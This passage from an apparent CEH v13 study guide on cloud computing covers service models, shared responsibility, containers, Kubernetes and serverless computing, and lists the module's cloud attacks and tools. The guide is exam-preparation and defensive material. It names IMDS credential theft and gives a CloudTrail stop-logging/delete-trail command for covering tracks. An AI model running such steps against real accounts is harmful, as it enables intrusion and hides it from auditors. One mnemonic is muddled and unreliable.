CEH v13 AI (312-50) Study Guide

Module 19: Cloud Computing

Table of Contents

1. Module at a Glance 8
2. Big Picture Map 10
3. Topic-by-Topic Guide 11
    3.1 Learning Objectives of Module 19 11
    3.2 Cloud Computing and Its Service Models 11
    3.3 Shared Responsibility Model in Cloud Computing 13
    3.4 Cloud vs. Fog Computing vs. Edge Computing 13
    3.5 Containers and Container Technology Architecture 14
    3.6 Docker and Docker Architecture 15
    3.7 Microservices vs. Docker (Monolithic vs. Microservices Apps) 16
    3.8 Container Orchestration 17
    3.9 Kubernetes (K8s) 17
    3.10 Serverless Computing (FaaS) 18
    3.11 OWASP Top 10 Cloud / Kubernetes / Serverless Security Risks 19
    3.12 Cloud Computing Threats (Categories) 20
    3.13 Emerging AI-Powered and Quantum Cloud Threats 21
    3.14 Container Vulnerabilities 22
    3.15 Kubernetes Vulnerabilities (Detailed) 23
    3.16 Cloud Attacks: Service Hijacking (Social Engineering and Network Sniffing) 24
    3.17 Cloud Attacks: Side-Channel or Cross-Guest VM Breaches 25
    3.18 Cloud Attacks: Wrapping Attack 26
    3.19 Cloud Attacks: Man-in-the-Cloud (MITC) Attack 27
    3.20 Cloud Attacks: Cloud Hopper Attack 28
    3.21 Cloud Attacks: Cloud Cryptojacking 28
    3.22 Cloud Attacks: Cloudborne Attack 29
    3.23 Cloud Attacks: Instance Metadata Service (IMDS) Attack 30
    3.24 Cloud Attacks: Cache Poisoned Denial of Service (CPDoS) / CDN Cache Poisoning 30
    3.25 Cloud Attacks: Cloud Snooper Attack 31
    3.26 Cloud Attacks: Golden SAML Attack 32
    3.27 Cloud Attacks: Living Off the Cloud (LotC) Attack 33
    3.28 Cloud Hacking: Overview (Web Apps, Systems, and Platform) 34
    3.29 Cloud Hacking Methodology (4 Phases) 35

3.30 Identifying Target Cloud Environment 36
3.31 Discovering Open Ports and Services using Masscan 36
3.32 Vulnerability Scanning using Prowler 37
3.33 Identifying Misconfigurations in Cloud Resources Using CloudSploit 38
3.34 Cleanup and Maintaining Stealth 39
3.35 Enumerating S3 Buckets 39
3.36 Enumerating S3 Buckets using CloudBrute 40
3.37 Enumerating EC2 Instances 41
3.38 Enumerating AWS RDS Instances 42
3.39 Enumerating AWS Account IDs and IAM Roles 42
3.40 Enumerating Weak IAM Policies using Cloudsplaining 43
3.41 Enumerating AWS Cognito 44
3.42 Enumerating DNS Records of AWS Accounts using Ghostbuster 45
3.43 Enumerating Serverless Resources in AWS 45
3.44 Discovering Attack Paths using Cartography 46
3.45 Discovering Attack Paths using CloudFox 47
3.46 Identifying Security Groups Exposed to the Internet 47
3.47 AWS Threat Emulation using Stratus Red Team 48
3.48 Gathering Cloud Keys Through IMDS Attack (Demo) 49
3.49 Exploiting Misconfigured AWS S3 Buckets 50
3.50 Compromising AWS IAM Credentials 50
3.51 Hijacking Misconfigured IAM Roles using Pacu 51
3.52 Scanning AWS Access Keys using DumpsterDiver 52
3.53 Exploiting Docker Containers on AWS using Cloud Container Attack Tool (CCAT) 53
3.54 Exploiting Shadow Admins in AWS using SkyArk 54
3.55 Gaining Access by Exploiting SSRF Vulnerability 54
3.56 Attacks on AWS Lambda: Black-Box and White-Box Scenarios 55
3.57 AWS IAM Privilege Escalation Techniques 56
3.58 Creating Backdoor Accounts in AWS 58
3.59 Maintaining Access and Covering Tracks on AWS by Manipulating CloudTrail 58
3.60 Establishing Persistence on EC2 Instances 59
3.61 Lateral Movement: Moving Between AWS Accounts and Regions 60
3.62 AWSGoat: A Damn Vulnerable AWS Infrastructure 61
3.63 Azure Reconnaissance using AADInternals 62
3.64 Identifying Azure Services and Resources using MicroBurst 62
3.65 Enumerating Azure Active Directory (AD) Accounts 63

3.66 Identifying Attack Surface using Stormspotter 64
3.67 Collecting Data from AzureAD and AzureRM using AzureHound 65
3.68 Accessing Publicly Exposed Blob Storage using Goblob 65
3.69 Identifying Open Network Security Groups (NSGs) in Azure 66
3.70 Exploiting Managed Identities and Azure Functions 67
3.71 Privilege Escalation Using Misconfigured User Accounts in Azure AD 68
3.72 Creating Persistent Backdoors in Azure AD using Service Principals 69
3.73 Exploiting VNet Peering Connections 69
3.74 AzureGoat: Vulnerable by Design Azure Infrastructure 70
3.75 Enumerating GCP Resources using Google Cloud CLI 71
3.76 Enumerating GCP Resources using GCP Scanner 72
3.77 Enumerating Google Cloud Storage Buckets using cloud_enum 72
3.78 Enumerating Privilege Escalation Vulnerabilities using GCP Privilege Escalation Scanner 73
3.79 Escalating Privileges of Google Storage Buckets using GCPBucketBrute 74
3.80 Maintaining Access: Creating Backdoors with IAM Roles in GCP 75
3.81 GCPGoat: Vulnerable by Design GCP Infrastructure 76
3.82 Information Gathering using kubectl 76
3.83 Enumerating Registries 77
3.84 Container/Kubernetes Vulnerability Scanning 77
3.85 Exploiting Docker Remote API 78
3.86 Hacking Container Volumes 79
3.87 LXD/LXC Container Group Privilege Escalation 80
3.88 Post Enumeration on Kubernetes etcd 81
3.89 Cloud Computing Security Considerations 81
3.90 Assessing Cloud Security using Scout Suite 82
3.91 Best Practices for Securing the Cloud (24 Items) 83
3.92 Cloud Security Controls 84
3.93 Kubernetes Vulnerabilities and Solutions (Quick Reference) 85
3.94 Serverless Security Risks and Solutions (OWASP A1-A10) 86
3.95 Best Practices for Container Security 87
3.96 Best Practices for Docker Security 88
3.97 Best Practices for Kubernetes Security 89
3.98 Best Practices for Serverless Security 90
3.99 Zero Trust Networks 91
3.100 Cloud Access Security Broker (CASB) 92
3.101 Module Summary 93

4. Tool Encyclopedia 93
4.1 Recon and Target Identification Tools 93
4.2 Cloud Misconfiguration and Vulnerability Scanners 94
4.3 AWS Enumeration and Recon Tools 94
4.4 AWS Exploitation and Post-Exploitation Tools 95
4.5 Azure Recon, Enumeration, and Exploitation Tools 96
4.6 GCP Recon and Exploitation Tools 97
4.7 Container and Kubernetes Tools 97
5. Command Sheet (I have no lab, so teach me to read commands) 99
5.1 Masscan (fast port scanning) 99
5.2 Prowler (multi-cloud scanning) 100
5.3 CloudSploit (misconfiguration + compliance scanning) 101
5.4 S3Scanner and BucketLoot (bucket content scanning) 102
5.5 CloudBrute (bucket name brute force) 103
5.6 AWS CLI: Enumerating EC2 Instances 104
5.7 AWS CLI: Enumerating RDS Instances 105
5.8 Cloudsplaining (offline IAM policy scan) 106
5.9 AWS CLI: Enumerating Cognito 107
5.10 Ghostbuster (Route 53 DNS enumeration) 108
5.11 AWS CLI: Enumerating Serverless Resources 109
5.12 Cartography (graph-based attack path queries) 110
5.13 CloudFox (targeted AWS attack-path checks) 110
5.14 AWS CLI: Finding and Widening Open Security Groups 111
5.15 Stratus Red Team (cloud threat emulation) 112
5.16 curl against the Instance Metadata Service (IMDS) 113
5.17 AWS CLI: Exploiting Misconfigured S3 Buckets 114
5.18 Pacu / assume_role_enum.py (IAM role hijacking) 115
5.19 DumpsterDiver (secret scanning) 116
5.20 CCAT (Cloud Container Attack Tool) 117
5.21 SkyArk (shadow admin discovery) 118
5.22 AWS CLI: Using Stolen Credentials After SSRF (IMDS Chain) 118
5.23 AWS CLI: Lambda Black-Box and White-Box Attack Commands 119
5.24 Endgame (mass resource exposure) 120
5.25 AWS CLI: Manipulating CloudTrail (Covering Tracks) 121
5.26 AWS CLI and Shell: Establishing EC2 Persistence 122
5.27 AWS CLI: Lateral Movement Across Accounts and Regions 123

5.28 AADInternals (Azure AD/O365 recon) 125
5.29 MicroBurst (Azure resource enumeration) 126
5.30 AzureGraph and Spray365 (AD enumeration and password spraying) 126
5.31 Stormspotter (Azure attack surface mapping) 127
5.32 AzureHound (BloodHound data collection for Azure) 128
5.33 Goblob (public Azure Blob enumeration) 129
5.34 Azure CLI: Finding Open Network Security Groups 130
5.35 PowerShell: Exploiting a Managed Identity's Access Token 131
5.36 PowerShell: Azure AD Privilege Escalation via App Certificate 132
5.37 Azure CLI: Creating a Backdoor Service Principal 133
5.38 Azure CLI: Exploiting VNet Peering 134
5.39 Google Cloud CLI: Enumerating GCP Resources 136
5.40 GCP Scanner (credential access-level scanner) 137
5.41 cloud_enum (multi-cloud bucket/resource enumeration) 138
5.42 GCP Privilege Escalation Scanner 139
5.43 GCPBucketBrute (bucket privilege escalation check) 140
5.44 Google Cloud CLI: Creating a Backdoor IAM Role 141
5.45 kubectl (Kubernetes information gathering) 142
5.46 Enumerating Container Registries 143
5.47 Trivy (image and dependency vulnerability scanning) 144
5.48 Docker Remote API Exploitation 144
5.49 LXD/LXC Privilege Escalation Commands 146
5.50 etcdctl (Kubernetes etcd secret extraction) 147
5.51 Scout Suite (multi-cloud security auditing) 148
6. Ports, Protocols, Standards and Acronyms 149
6.1 Ports and addresses named or shown in this module 149
6.2 Protocols and standards 150
6.3 Key acronyms used in this module 151
7. Attack vs Countermeasure and Look-alike Comparisons 153
7.1 Attack vs countermeasure 153
7.2 Look-alike comparisons 154
8. Exam Cheat Sheet 156
8.1 Keyword -> answer pairs 156
8.2 Must-memorize lists 157
8.3 Numbers and defaults to remember 158
8.4 "Pick the BEST option" rules for this module 159

9. Practice Questions 159
10. Flashcards 168
11. Glossary 170
12. Coverage Report 173
    12.1 Page-to-section map 173
    12.2 [UNCLEAR] items 175
    12.3 Items to double check (marked "verify" in this guide) 175
    12.4 Coverage confirmation 176

Source: 54 pages of screenshots from the official Module 19 theory videos (slides 1 to 114+). Content marked "ADDED CONTEXT" comes from outside the screenshots. Items marked "verify" should be checked against current official sources. Items marked [UNCLEAR on page N] were too small, low-resolution, or blurry in the source screenshot to read with full confidence; this mainly affects embedded terminal, browser, and console screenshots on pages 16 to 53, where the source pixels fall below reliable legibility.

1. Module at a Glance

Module: 19 - Cloud Computing (EC-Council CEH v13 AI).

What this module is (5 lines):

1. It starts with cloud computing fundamentals: service models (IaaS, PaaS, SaaS, and more), the shared responsibility model, containers, Docker, Kubernetes, and serverless (FaaS) computing.
2. It lists the threats and vulnerabilities unique to cloud, container, Kubernetes, and serverless environments, including OWASP's risk lists for each.
3. It walks through more than a dozen named cloud-specific attacks (side-channel, wrapping, Man-in-the-Cloud, Cloud Hopper, cryptojacking, Cloudborne, IMDS, CPDoS, Cloud Snooper, Golden SAML, Living off the Cloud).
4. It gives a full cloud hacking methodology and demonstrates it end to end on AWS, Microsoft Azure, Google Cloud (GCP), and containers: recon, enumeration, exploitation, privilege escalation, persistence, lateral movement, and covering tracks, each with real CLI commands and named tools.
5. It closes with cloud security: best practices, security controls, Zero Trust, and Cloud Access Security Brokers (CASB).

Why it matters: Cloud computing is now the default way organizations host data and applications, so CEH treats it as a full attack surface with its own recon tools (Shodan, Masscan, Prowler), its own credential/identity attacks (IAM, IMDS, SAML), and its own persistence and cleanup techniques (CloudTrail tampering, backdoor IAM roles). Containers and Kubernetes get the same treatment because most cloud workloads now run inside them.

What the exam usually asks from it:

- Match a cloud service model to its example: IaaS, PaaS, SaaS, FaaS, CaaS, IDaaS, SECaaS, XaaS.
- Match a named cloud attack to its one-line description: side-channel/ cross-guest VM, wrapping attack, MITC, Cloud Hopper, cryptojacking, Cloudborne, IMDS attack, CPDoS, Cloud Snooper, Golden SAML, LotC.

- Match an AWS/Azure/GCP enumeration or exploitation command to what it does (`aws ec2 describe-instances`, `aws sts assume-role`, `az network nsg list`, `gcloud iam roles list`, and similar).
- Match a tool to its job: Masscan (port scan), Prowler/CloudSploit/ Scout Suite (misconfiguration scan), Pacu (AWS exploitation), CloudFox/Cartography (attack-path mapping), AADInternals/MicroBurst/ AzureHound (Azure recon), cloud_enum/ GCPBucketBrute (GCP recon).
- The four-phase cloud hacking methodology (information gathering, vulnerability assessment, exploitation, post-exploitation).
- The shared responsibility model: what the cloud provider owns versus what the customer owns, for IaaS vs. PaaS vs. SaaS.
- IMDS attacks and the metadata URL `169.254.169.254`.
- OWASP risk lists: Cloud Top 10 (R1-R10), Kubernetes Top 10 (K01-K10), Serverless Top 10 (A1-A10), and their fitting countermeasures.
- Container and Kubernetes security best practices and vulnerabilities.
- Zero Trust and CASB: what each is and where it sits in the network.

The 10 things to remember most:

1. IMDS attacks target `http://169.254.169.254/latest/meta-data/` to steal an EC2 instance's IAM role credentials.
2. The cloud hacking methodology has 4 phases: Information Gathering -> Vulnerability Assessment -> Exploitation -> Post-Exploitation.
3. S3 bucket enumeration tools: CloudBrute, S3Scanner, Bucket Finder, BucketLoot, lazys3; GCP equivalent: GCPBucketBrute, cloud_enum.
4. Pacu is the main open-source AWS exploitation framework; Stratus Red Team is AWS/ Azure/GCP/Kubernetes threat emulation ("Atomic Red Team for the cloud").
5. AADInternals, MicroBurst, AzureHound, and Stormspotter are Azure recon tools; Google Cloud CLI (`gcloud`/`gsutil`) and GCP Scanner are the GCP equivalents.
6. Attackers cover tracks on AWS by stopping or deleting the CloudTrail trail (`aws cloudtrail stop-logging` / `delete-trail`).
7. Side-channel/cross-guest VM attacks and the wrapping attack both depend on shared or intercepted resources: shared CPU cache for side-channel, the SOAP message body for wrapping.
8. Rootkit-based Cloud Snooper attacks sneak command-and-control traffic past AWS security groups by using ports 80/443.
9. OWASP Serverless Top 10 reuses the same A1-A10 labels as the OWASP web Top 10 (Injection, Broken Auth, Sensitive Data Exposure, XXE, Broken Access Control, Security Misconfig, XSS, Insecure Deserialization, Known Vulnerable Components, Insufficient Logging).
10. Zero Trust means "trust no one, verify every request"; CASB sits between cloud consumers and cloud providers to enforce visibility, compliance, data security, and threat protection.

2. Big Picture Map

The module has one big shape: cloud fundamentals and containers set the stage, OWASP risk lists and named attacks describe what can go wrong, and a single 4-phase methodology is then demonstrated three times over (AWS, Azure, GCP) plus once for containers/Kubernetes, before closing with defenses.

Diagram part 1: from fundamentals down to the methodology.

```
   CLOUD FUNDAMENTALS
   Service models (IaaS/PaaS/SaaS/FaaS/...)
   Shared Responsibility | Fog/Edge | Containers
   Docker | Orchestration | Kubernetes | Serverless
                  |
                  v
   THREATS AND RISK LISTS
   OWASP Cloud Top 10 (R1-R10)
   OWASP Kubernetes Top 10 (K01-K10)
   OWASP Serverless Top 10 (A1-A10)
   Cloud / Container / Kubernetes vulnerabilities
                  |
                  v
   NAMED CLOUD ATTACKS
   Service Hijack, Side-channel, Wrapping, MITC,
   Cloud Hopper, Cryptojacking, Cloudborne, IMDS,
   CPDoS, Cloud Snooper, Golden SAML, LotC
                  |
                  v
   CLOUD HACKING METHODOLOGY (4 phases)
   Info Gathering -> Vuln Assessment -> Exploit
   -> Post-Exploitation (persist, cover tracks)
```

Diagram part 2: the methodology branches into one track per provider, then all four converge on the defense layer.

```
                  |
   +--------------+--------------+----------+
   |              |              |          |
   v              v              v          v
+-------+      +-------+      +-------+ +---------+
|  AWS  |      | AZURE |      |  GCP  | |CONTAINER|
|S3,EC2,|      |AD, NSG|      |IAM,GCS| |/K8S     |
|IAM,   |      |VNet,  |      |buckets| |kubectl, |
|Lambda |      |Managed|      |,Lambda| |etcd,    |
|,Pacu  |      |Identity      |equiv. | |Docker   |
+-------+      +-------+      +-------+ +---------+
   |              |              |          |
   +--------------+--------------+----------+
                  |
                  v
   DEFENSE LAYER
   Best Practices (cloud/container/Docker/K8s/
   serverless) | Scout Suite | Zero Trust | CASB
```

How each layer maps to its tools and defenses:

Layer	Attacker tools/techniques	Defender tools/guidance
Fundamentals	N/A (background knowledge)	Shared responsibility clarity
Containers/K8s	kubectl, Docker Remote API, LXD/LXC	Trivy, Sysdig, kube-hunter, best practices
Recon	Shodan, Censys, Masscan, Google dorks	Reduce public exposure, monitor Shodan
Vuln scan	Prowler, CloudSploit, GCP Scanner	Scout Suite, Cloudsplaining, patching
AWS exploit	Pacu, CCAT, DumpsterDiver, SkyArk	IAM least privilege, key rotation, GuardDuty
Azure exploit	AADInternals, MicroBurst, AzureHound	Conditional access, NSG review, MFA
GCP exploit	cloud_enum, GCPBucketBrute, gcp-scanner	IAM audit, bucket policy review
Persistence/cleanup	CloudTrail stop/delete, backdoor IAM roles	Immutable/centralized logging, alerting
Program-wide	OWASP Cloud/K8s/Serverless Top 10	Matching OWASP solution per risk

3. Topic-by-Topic Guide

The topics below follow the order of the screenshots.

3.1 Learning Objectives of Module 19

What it is: The module's roadmap: cloud concepts, cloud threats, cloud hacking methodology, and hands-on hacking of AWS, Microsoft Azure, Google Cloud, and containers, closing with cloud security.

EXAM FOCUS: This slide is not tested directly, but it tells you the exam's scope for this module: expect concept questions, named-attack questions, and command/tool questions across all three major cloud providers plus containers.

Memory trick: "Concepts, Threats, Methodology, then AWS -> Azure -> GCP -> Containers -> Security" - the module's own table of contents.

3.2 Cloud Computing and Its Service Models

What it is: Cloud computing is the on-demand delivery of IT capability (servers, storage, software) to subscribers as a metered service over a network, instead of buying and running your own hardware.

Analogy: Like paying an electric utility for power instead of running your own generator: you use what you need, pay for what you use, and someone else maintains the plant.

How it works (service model ladder, each layer removes more work from the customer):

1. **Infrastructure-as-a-Service (IaaS):** the vendor supplies raw compute, storage, and networking; the customer manages everything above that (OS, runtime, apps). Examples: Amazon EC2, Microsoft OneDrive, Rackspace. Audience: system administrators.
2. **Platform-as-a-Service (PaaS):** the vendor also manages the OS and runtime; the customer only builds and deploys application code. Examples: Google App Engine, Salesforce, Microsoft Azure. Audience: developers.
3. **Software-as-a-Service (SaaS):** the vendor runs the whole application; the customer just uses it. Examples: Google Docs/ Calendar, Salesforce CRM, Freshbooks. Audience: end customers.
4. **Identity-as-a-Service (IDaaS):** outsourced identity and access management. Examples: OneLogin, Centrify Identity Service, Microsoft Entra ID (Azure AD), Okta. Audience: system administrators.
5. **Security-as-a-Service (SECaaS):** outsourced security monitoring/ response. Examples: eSentire MDR, Switchfast Technologies, OneNeck IT Solutions, Foundstone Managed Security Services.
6. **Container-as-a-Service (CaaS):** the vendor runs the container orchestration layer. Examples: Amazon EC2 (container-ready), Google Kubernetes Engine (GKE). Audience: developers.
7. **Function-as-a-Service (FaaS):** the vendor runs individual functions on demand, with no server to manage at all. Examples: AWS Lambda, Google Cloud Functions, Microsoft Azure Functions, Oracle Functions. Audience: end customers.
8. **Anything-as-a-Service (XaaS):** a catch-all label for any IT capability delivered as a cloud service. Examples: Microsoft 365 and Google Workspace (formerly G Suite), Google Compute Engine, Azure.

Real-world use: A startup with no ops team picks PaaS (Azure App Service) so it only writes code; a bank with strict compliance needs picks IaaS (EC2) so its own team controls the OS and patching.

Tools and commands used here: none (concept-only slide); provider consoles/CLI for each model appear later in this module.

Countermeasures and defense: Choose the service model that matches your team's operational capacity and compliance needs; understand that each layer you hand to a vendor also shifts security responsibility to them (see section 3.3).

EXAM FOCUS: The exam loves matching "who is this for" and "what is the example" to the right -aaS name. Note the DEVELOPERS vs. SYS ADMINS vs. END CUSTOMERS audience tags: PaaS and CaaS target developers; IaaS and IDaaS target sys admins; SaaS, FaaS, and XaaS target end customers.

Memory trick: "I Pass Simple Security Checks For Cash" -> **I**aaS, **P**aaS, **S**aaS, **S**ECaaS, **C**aaS, **F**aaS, **C**aaS again is covered, X=**C**ash stands in for XaaS (catch-all), and IDaaS rounds out identity.

3.3 Shared Responsibility Model in Cloud Computing

What it is: A model that splits security duties between the cloud provider and the customer; which side owns which layer (application, data, runtime, middleware, OS, virtualization, servers, storage, networking) depends on the service model.

Analogy: Renting a furnished apartment (SaaS): the landlord fixes the plumbing and wiring; you just keep your own room clean. Renting an empty apartment (IaaS): the landlord only maintains the building; you handle everything inside your unit.

How it works (who owns what, by service model):

1. **On-premises (no cloud):** the resource owner (the organization itself) owns every layer, from networking up to applications.
2. **IaaS:** the service provider owns networking, storage, servers, and virtualization; the subscriber owns O/S, middleware, runtime, data, and applications.
3. **PaaS:** the provider also owns the O/S and middleware and runtime; the subscriber owns only data and applications.
4. **SaaS:** the provider owns everything except the data itself, which both sides typically share responsibility for (customer classifies and controls access; provider secures storage and transmission).

Real-world use: A company using AWS S3 (IaaS-style storage) is still responsible for configuring bucket access correctly; AWS is responsible for the physical security and durability of the storage hardware. A misconfigured public bucket is the customer's fault, not AWS's, under this model.

Tools and commands used here: none directly; this concept explains why later misconfiguration-scanning tools (Prowler, CloudSploit, Scout Suite) matter so much.

Countermeasures and defense: Always confirm exactly which layer your organization is responsible for under your chosen service model, and audit that layer continuously; never assume the provider secures something the model assigns to you.

EXAM FOCUS: Classic trap: a question describes a data breach caused by a public S3 bucket and offers "blame AWS" as a wrong answer. The customer always owns data/application-layer misconfiguration, no matter the service model.

Memory trick: "The more '-aaS' the vendor gives you, the less of the stack you must defend, but data and access control are almost always yours."

3.4 Cloud vs. Fog Computing vs. Edge Computing

What it is: Three computing layers at different distances from the end device. Cloud computing centralizes processing in distant data centers. Fog computing is a distributed

layer that sits between data sources and the cloud. Edge computing processes data right at or very near the device generating it.

Analogy: Cloud is the city's central hospital; fog is a regional clinic network; edge is the first-aid kit in your own house.

How it works (by scale and location):

1. **Cloud computing:** thousands of cloud data centers, reached over the internet; highest latency, highest centralized compute power.
2. **Fog computing:** millions of fog nodes/servers positioned between devices and the cloud; a distributed, independent digital environment for apps and data storage.
3. **Edge computing:** billions of edge devices; data processing happens close to or on the device itself, enabling real-time data processing, data caching/optimization, and machine-to-machine communication.

Real-world use: A self-driving car cannot wait for a round trip to a distant cloud data center to decide to brake, so it does that compute at the edge; it might send trip summaries to fog nodes at intersections, and only long-term analytics go to the cloud.

Tools and commands used here: none (concept slide).

AI angle: AI inference increasingly happens at the edge (on-device models) for latency-sensitive tasks, while AI training still happens in the cloud, where compute is centralized.

Countermeasures and defense: Treat edge and fog nodes as part of your attack surface too; they are physically more exposed than a locked-down central data center.

EXAM FOCUS: Keyword match: "millions of nodes between devices and cloud" = fog; "billions of devices, real-time, on-device" = edge; "centralized, thousands of data centers" = cloud.

Memory trick: Cloud = far and big. Fog = middle layer (fog sits between ground and sky). Edge = the edge of the network, right next to the device.

3.5 Containers and Container Technology Architecture

What it is: A container is a package of an application and all its dependencies (libraries, configuration files, binaries) that runs independently of other processes in the cloud environment.

Analogy: A container is like a shipping container: the same box works on a truck, a ship, or a train, because everything the cargo needs is sealed inside it, regardless of what is "outside."

How it works (container technology architecture, 3 stages):

1. **Image creation, testing, and accreditation:** a developer builds and tests the container image, then an admin accredits it through an internal testing/accreditation system.

2. **Storage and retrieval of the image:** the accredited image is pushed to an internal registry (or pulled from an external registry) for storage and later retrieval.
3. **Deployment and management of the container:** an orchestrator deploys the image onto a host (or multiple hosts with containers), and an admin manages it from there.

Real-world use: A development team packages a web app plus its exact Node.js version and libraries into one container image, so it runs identically on a developer's laptop, a test server, and production, with no "it worked on my machine" problems.

Tools and commands used here: Docker, container registries, orchestrators (see sections 3.6, 3.8).

Countermeasures and defense: Accredit images before they reach production; use only trusted internal or verified external registries.

EXAM FOCUS: Remember the 3-stage flow: Create/Test/Accredit -> Store/Retrieve -> Deploy/Manage; questions may ask which role (developer vs. admin) performs which stage.

Memory trick: "Build it, store it, run it" - the three stages of container technology architecture.

3.6 Docker and Docker Architecture

What it is: Docker is an open-source technology for developing, packaging, and running applications and their dependencies as containers, providing a Platform-as-a-Service through OS-level virtualization.

Analogy: Docker is the factory and shipping company for the shipping-container analogy above: it builds the containers (images), stores them in a warehouse (registry), and ships/runs them on trucks (hosts).

How it works (Docker architecture components):

1. **Docker CLI (client):** the command-line tool a user runs to issue `docker build`, `docker pull`, `docker run` commands.
2. **REST API:** the interface the CLI uses to talk to the Docker daemon.
3. **Docker daemon (`dockerd`):** the background service on the Docker host that manages containers, images, networks, and volumes.
4. **Docker Registry:** stores and serves Docker images; the daemon pulls images from here to run, and can push built images here.
5. **Docker Build Server:** where new images get built before being pushed to the registry.

Real-world use: A developer runs `docker build` to create an image, `docker push` to store it in a registry, and on a production server, `docker pull` then `docker run` retrieves and launches that exact same image.

Tools and commands used here: `docker build`, `docker pull`, `docker run`, `docker push` (see section 5 for syntax).

Countermeasures and defense: Never expose the Docker daemon socket to the network without authentication (see section 3.85 and the Docker security best practices in section 3.96).

EXAM FOCUS: Docker provides OS-level virtualization (sharing one host kernel across containers), unlike a VM hypervisor, which virtualizes full hardware. Expect a question contrasting containers with VMs on this exact point.

Memory trick: "CLI talks to daemon, daemon talks to registry" - the simplified Docker request chain.

3.7 Microservices vs. Docker (Monolithic vs. Microservices Apps)

What it is: A monolithic application bundles the user interface, business logic, and data access layer into one deployable unit. A microservices application breaks that same app into small, independent services (microservices), each doing one job, often each packaged in its own Docker container.

Analogy: A monolith is one giant Swiss Army knife; microservices are a toolbox of separate single-purpose tools, each replaceable without rebuilding the whole kit.

How it works:

1. A monolithic app ships user interface, business logic, and data access layer together as App 1, App 2, and so on, each a single block.
2. A microservices app splits the same responsibilities into multiple small microservices that work together.
3. Each microservice is packaged into its own Docker container with just the libraries, frameworks, and configuration files it needs.
4. Because each microservice is independently packaged, different microservices belonging to one application can be developed and managed on different platforms or by different teams.

Real-world use: An e-commerce site splits "checkout," "search," and "user login" into three separate microservices/containers. The team can update "search" without redeploying "checkout," and a bug in one container does not necessarily crash the whole site.

Tools and commands used here: Docker (packaging), orchestrators (section 3.8) for running many microservice containers together.

Countermeasures and defense: Isolate microservice containers by sensitivity level (see "Mixing of Workload Sensitivity Levels" in section 3.14) so one compromised low-value service cannot reach a high-value one.

EXAM FOCUS: If a question says an app crash in one module took down the whole product, think monolithic. If only one feature failed while others kept running, think microservices.

Memory trick: "Mono = one block, Micro = many small blocks."

3.8 Container Orchestration

What it is: Container orchestration is the automated process of managing the lifecycle of containers and their dynamic environments, used to schedule and distribute work for microservices-based applications across multiple clusters.

Analogy: An orchestra conductor does not play every instrument; they coordinate many players (containers) so the whole piece (application) comes together on cue.

How it works (automated tasks an orchestrator handles):

1. Scaling: adding/removing container instances based on load.
2. Provisioning: creating the infrastructure containers run on.
3. Deployment: rolling out new container versions.
4. Configuration: applying settings consistently across containers.
5. Availability: keeping the application up despite failures.
6. Security, health monitoring, load balancing, and resource allocation round out the task list.

Real-world use: An online retailer uses an orchestrator so that during a flash sale, the platform automatically starts more containers to handle traffic, then scales back down afterward, without manual intervention.

Tools and commands used here: Docker Swarm, OpenShift, Kubernetes (the most widely used, detailed next in section 3.9).

Countermeasures and defense: Keep orchestrator components patched and follow least-privilege role-based access control (RBAC) to limit what any one workload can do inside the cluster.

EXAM FOCUS: If the question names Docker Swarm, OpenShift, or Kubernetes and asks what category of tool it is, the answer is "container orchestration platform," not "container runtime."

Memory trick: "Orchestration = scale, provision, deploy, configure, secure, monitor, balance, allocate - all automated."

3.9 Kubernetes (K8s)

What it is: Kubernetes, also called K8s, is an open-source, portable, extensible orchestration platform developed by Google for managing containerized applications and microservices, providing a resilient framework with deployment patterns, failover, and redundancy.

Analogy: If Docker builds the individual shipping containers, Kubernetes is the entire port authority: it decides which ship (node) each container goes on, reroutes cargo if a ship sinks, and balances the load across the whole port.

How it works (Kubernetes cluster architecture):

1. **Kubernetes Master (control plane)** runs: `kube-apiserver` (the front door for all cluster commands), `kube-scheduler` (assigns pods to nodes), `kube-controller-manager` (runs controller loops), `cloud-controller-manager` (talks to the underlying cloud provider), and `etcd` (the cluster's key-value data store).
2. **Kubernetes Nodes (workers)** each run: `kubelet` (manages pods on that node) and `kube-proxy` (handles networking rules for pods).
3. The API server is the single entry point; every other component reads from or writes to it (backed by `etcd`).

Real-world use: A company running hundreds of microservice containers uses Kubernetes to automatically restart a crashed container (self-healing), roll out a new app version gradually (automated rollouts/rollbacks), and route traffic to healthy pods (service discovery, load balancing).

Tools and commands used here: `kubectl` (section 3.82), `etcdctl` (section 3.88).

Countermeasures and defense: See sections 3.93 and 3.97 for the full Kubernetes vulnerability and best-practice lists.

EXAM FOCUS: Memorize the master components (`kube-apiserver`, `kube-scheduler`, `kube-controller-manager`, `cloud-controller- manager`, `etcd`) versus the node components (`kubelet`, `kube-proxy`). A question may give a component name and ask "master or node?"

Memory trick: "API, Scheduler, Controllers, and etcd sit at the top (Master); kubelet and kube-proxy work on the ground (Node)."

3.10 Serverless Computing (FaaS)

What it is: Serverless computing, also called serverless architecture or Function-as-a-Service (FaaS), is a cloud application architecture where the infrastructure and supporting services are provided by the cloud vendor on demand, so developers never manage a server directly.

Analogy: Serverless is like a vending machine business: you do not own or staff the machine; you only supply the product (your function's code), and the machine owner (cloud vendor) handles electricity, stock restocking, and repairs on demand.

How it works (request flow):

1. A client sends a request through DNS routing to the application.
2. An API Gateway receives the request and may call Authentication.
3. The gateway invokes a Serverless Function on the Cloud Server to handle the logic.
4. The function reads/writes a Data Store and/or Session Store.

5. Static content is served from an Object Store, optionally through a Content Delivery Network (CDN) for speed.

Real-world use: A photo-sharing app runs an AWS Lambda function that automatically resizes an uploaded image the moment it lands in an S3 bucket; no server sits idle waiting for uploads.

Tools and commands used here: AWS Lambda, Google Cloud Functions, Microsoft Azure Functions, Oracle Functions.

Countermeasures and defense: Follow the Serverless Top 10 mitigations in section 3.94 and the serverless best practices in section 3.98.

EXAM FOCUS: "No server to manage" and "pay only when the function runs" are the giveaway phrases for serverless/FaaS; do not confuse it with IaaS, where a server still exists, just abstracted.

Memory trick: "Serverless does not mean no server, it means not YOUR server."

3.11 OWASP Top 10 Cloud / Kubernetes / Serverless Security Risks

What it is: Three separate OWASP-style ranked risk lists, one each for general cloud security, Kubernetes, and serverless computing.

How it works (the three lists, high level):

1. **OWASP Top 10 Cloud Security Risks (R1-R10):** R1 Accountability and Data Ownership, R2 User Identity Federation, R3 Regulatory Compliance, R4 Business Continuity and Resiliency, R5 User Privacy and Secondary Usage of Data, R6 Service and Data Integration, R7 Multi-Tenancy and Physical Security, R8 Incidence Analysis and Forensic Support, R9 Infrastructure Security, R10 Non-Production Environment Exposure.
